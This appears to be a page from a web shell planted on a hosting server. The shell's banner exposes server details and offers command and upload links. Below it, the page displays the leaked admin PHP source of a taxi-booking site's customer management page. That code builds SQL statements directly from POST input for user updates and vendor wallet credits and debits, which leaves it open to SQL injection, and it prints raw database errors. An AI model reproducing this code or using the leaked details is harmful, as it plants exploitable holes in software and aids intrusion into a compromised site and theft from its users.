|
Server IP : 82.112.239.40 / Your IP : 18.217.142.228 Web Server : LiteSpeed System : Linux in-mum-web1676.main-hosting.eu 5.14.0-503.35.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 4 05:23:43 EDT 2025 x86_64 User : u641149403 ( 641149403) PHP Version : 7.4.33 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u641149403/domains/cabz4you.com/public_html/admin/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
require_once 'header.php';
require_once 'navbar.php';
if($_SERVER["REQUEST_METHOD"] == "POST")
{
if(isset($_POST['request']))
{
/*$name=test_input($_POST['name']);
$company_name=test_input($_POST['c_name']);
$email=test_input($_POST['email']);
$pass=md5(test_input($_POST['pass']));
$contact=test_input($_POST['contact']);
$state=test_input($_POST['state']);
$city=test_input($_POST['city']);*/
$id=test_input($_POST['request']);
$name=test_input($_POST['ename']);
$email='';
if(isset($_POST['email'])){
$email=$_POST['email'];
}
$contact=test_input($_POST['econtact']);
$alt_contact=test_input($_POST['alt_contact']);
$sql1="UPDATE users set contact='$contact',alt_contact='$alt_contact',email='$email',name='$name' where id='$id'";
if($conn->query($sql1))
{
/* $last_id = $conn->insert_id;
$sql="insert into vendor_profile(vendor_id,company_name,full_name,city,state,status) values($last_id,$company_name','$name','$city','$state',0)";
if($conn->query($sql)===true)
{*/
$success=true;
}
else
{
$sql1= $conn->error;
$error=true;
}
}
else
{ //echo "here";
$error=true;
}
}
//add money on vendor
if(isset($_POST['v_id']) && isset($_POST['amount']))
{
$v_id=$_POST['v_id'];
$amount=$_POST['amount'];
$remark=$_POST['remark'];
if(isset($_POST['add']))
{
$sql="update vendor_profile set w_amount=w_amount+$amount where vendor_id=$v_id";
$type="credit";
}
else if(isset($_POST['remove']))
{
$type="debit";
$sql="update vendor_profile set w_amount=w_amount-$amount where vendor_id=$v_id";
}
if($conn->query($sql)===true)
{
$sql="Insert into transaction_log(vendor_id,amount,txn_type,action) values($v_id,$amount,'$type','$remark')";
if($conn->query($sql))
{
$success=true;
}
}
else
{
$error=false;
}
}
$sql="SELECT DISTINCT(state) FROM `statesandcity` ";
$res=$conn->query($sql);
if($res->num_rows > 0)
{
while($row=$res->fetch_assoc())
{
$states[]=$row;
}
}
$sql = "SELECT users.* FROM users WHERE users.contact NOT IN (SELECT vendor_login.contact FROM vendor_login) order by id desc";
$res=$conn->query($sql);
if($res->num_rows > 0)
{
while($row=$res->fetch_assoc())
{
$users[]=$row;
}
}
?>
<!-- Page content -->
<div class="container-fluid pt-8">
<div class="page-header mt-0 p-3">
<h3 class="mb-sm-0">Customers</h3>
<button id="addd" title="" class="btn btn-primary pull-right" data-toggle="modal" data-target="#modal-default">
<i class="fa fa-plus"></i>
</button>
</div>
<div id="alert2" class="col-md-12"></div>
<!-- Table -->
<div class="row">
<div class="col-12">
<?php
if(isset($success))
{
?>
<div class="alert alert-success" id="success">Success! Your Request has been submited.</div>
<?php
}
else if(isset($error))
{
?>
<div class="alert alert-danger" id="success">Error! Your Request could not be submited.<?php echo $sql1; ?></div>
<?php
}
?>
<div class="alert alert-success" id="success" style="display:none">Success! Your Request has been submited.</div>
<div class="card shadow">
<div class="card-body">
<div class="table-responsive">
<table id="example" class="table card-table table-vcenter text-nowrap align-items-center">
<thead class="">
<tr>
<th style="width: 80px">S.NO.</th>
<th>Name</th>
<th>Email</th>
<th>Contact</th>
<th>Alt Contact</th>
<th style="width: 180px"> Action</th>
</tr>
</thead>
<?php
$x=1;
foreach($users as $user)
{
?>
<tr>
<td><?=$x;?></td>
<td><a href="view-customer?user_id=<?=$user['id']?>" target="_blank" style="color:blue!important;"><?=$user['name'];?></a></td>
<td><?=$user['email'];?></td>
<td><?=$user['contact'];?></td>
<td><?=$user['alt_contact'];?></td>
<td><button value="<?=$user['id'];?>" onclick="edit_modal('<?=$user['name'];?>','<?=$user['email'];?>','<?=$user['contact'];?>','<?=$user['id'];?>','<?=$user['alt_contact'];?>')" class="btn btn-primary" data-toggle="modal" data-target="#edit-default" >
Edits
</button></td>
</tr>
<?php
$x++;
}
?>
<tbody >
</tbody>
</table>
</div>
</div>
</div>
</div>
</div>
</div>
<!--Add Modal To Display-->
<div class="modal fade" id="modal-default">
<div class="modal-dialog">
<div class="modal-content">
<div class="card-header">
<button type="button" class="close" data-dismiss="modal" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
<div class="alert alert-danger" id="error" style="display:none">Error! Your Request could not be submited.</div>
<h4 style="text-align: left">Create New Customer Account</h4><div class="col-md-6 float-right" id="alert"></div>
</div>
<form method="post" id="add_vendor">
<div class="modal-body">
<div class="row">
<div class="col-md-6">
<label>Full Name :</label><input type="text" class="form-control" name="name" value="">
</div>
<div class="col-md-6">
<label>Email :</label><input type="email" class="form-control" name="email">
</div>
<div class="col-md-6">
<label>Contact :</label><input type="number" id="contact" class="form-control" name="contact" title="Please Enter Correct Contact Number" value="">
</div>
<div class="col-md-6">
<label>Alt Contact :</label><input type="number" id="contact" class="form-control" name="alt_contact" title="Please Enter Correct Contact Number">
</div>
</div>
</div>
<div class="modal-footer">
<button type="button" class="btn btn-default pull-left" data-dismiss="modal">Close</button>
<button type="submit" name="request" id="add" class="btn btn-primary" >Add</button>
</div>
</form>
</div>
<!-- /.modal-content -->
</div>
<!-- /.modal-dialog -->
</div>
<!--Add Modal To Display-->
<div class="modal fade" id="edit-default">
<div class="modal-dialog">
<div class="modal-content">
<div class="card-header">
<button type="button" class="close" data-dismiss="modal" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
<div class="alert alert-danger" id="error" style="display:none">Error! Your Request could not be submited.</div>
<h4 style="text-align: left">Edit customer details</h4><div class="col-md-6 float-right" id="alert"></div>
</div>
<form method="post" id="add_vendor">
<div class="modal-body">
<div class="row">
<div class="col-md-6">
<label>Full Name :</label><input type="text" id="edit_name" class="form-control" name="ename">
</div>
<div class="col-md-6">
<label>Email :</label><input id="edit_email" type="text" class="form-control" name="email">
</div>
<div class="col-md-6">
<label>Contact :</label><input type="text" id="edit_contact" class="form-control" name="econtact" title="Please Enter Correct Contact Number">
</div>
<div class="col-md-6">
<label>Alt Contact :</label><input type="text" id="edit_alt_contact" class="form-control" name="alt_contact" title="Please Enter Correct Contact Number">
</div>
</div>
</div>
<div class="modal-footer">
<button type="button" class="btn btn-default pull-left" data-dismiss="modal">Close</button>
<button type="submit" name="request" id="save" class="btn btn-primary" >Save</button>
</div>
</form>
</div>
<!-- /.modal-content -->
</div>
<!-- /.modal-dialog -->
</div>
<?php
require_once 'footer.php';
require_once 'jslinks.php';
?>
<script src="assets/js/custom.js"></script>
<script src="assets/js/datatable.js"></script>
<script>
$(document).ready(function(){
max=<?=$x;?>;
$('#add_vendor').submit(function(e) {
e.preventDefault();
$("#global-loader").show();
$.ajax({
type: 'POST',
url: 'ajax_user',
data: new FormData(this),
contentType: false,
cache: false,
processData:false,
success:function(response){
$("#global-loader").fadeOut();
var obj=JSON.parse(response);
if(obj.msg == "ok") {
$('#success').show();
setTimeout(function () {
location.reload()
}, 1000)
}
else {
$('#error').html(obj.msg);
$('#error').show();
}
}
})
$('#add_vendor').trigger("reset");
});
});
// Deletion of vendor
function del(e) {
var verify = confirm("Do you really want to delete!!!");
if(verify) {
$("#global-loader").show();
alert(e);
$.ajax({
url: "vendor_ajax.php",
type: "POST",
data: {
delete_id: e,
},
success: function(response){
$("#global-loader").fadeOut();
if(response == "success") {
$('#alert2').html('<span class="p-1 m-1 col-md-10 alert alert-success">Successfully Deleted.</span>').show()
setTimeout(function(){
location.reload();
}, 1000)
}
else {
$('#alert2').html('<span class="p-1 m-1 col-md-10 alert alert-danger">Something Wrong, can\'t delete.</span>').show()
setTimeout(function(){
$('#alert2').hide()
}, 1000)
}
},
})
}
}
// EDIT MODAL
function edit_modal(name,email,contact,id,altt){
$('#edit_name').val(name);
$('#edit_email').val(email);
$('#edit_contact').val(contact);
$('#edit_alt_contact').val(altt);
$('#save').val(id);
}
$(function(){
$('.table').DataTable();
// $('#add_vendor').validate({
// rules:{
// name:{
// required:true,
// minlength:3
// },
// email:{
// required: true,
// email: true
// },
// contact:{
// required: true,
// digits: true,
// maxlength:10
// },
// c_name:"required",
// password:{
// required:true,
// maxlength:14
// }
// }
// });
});
</script>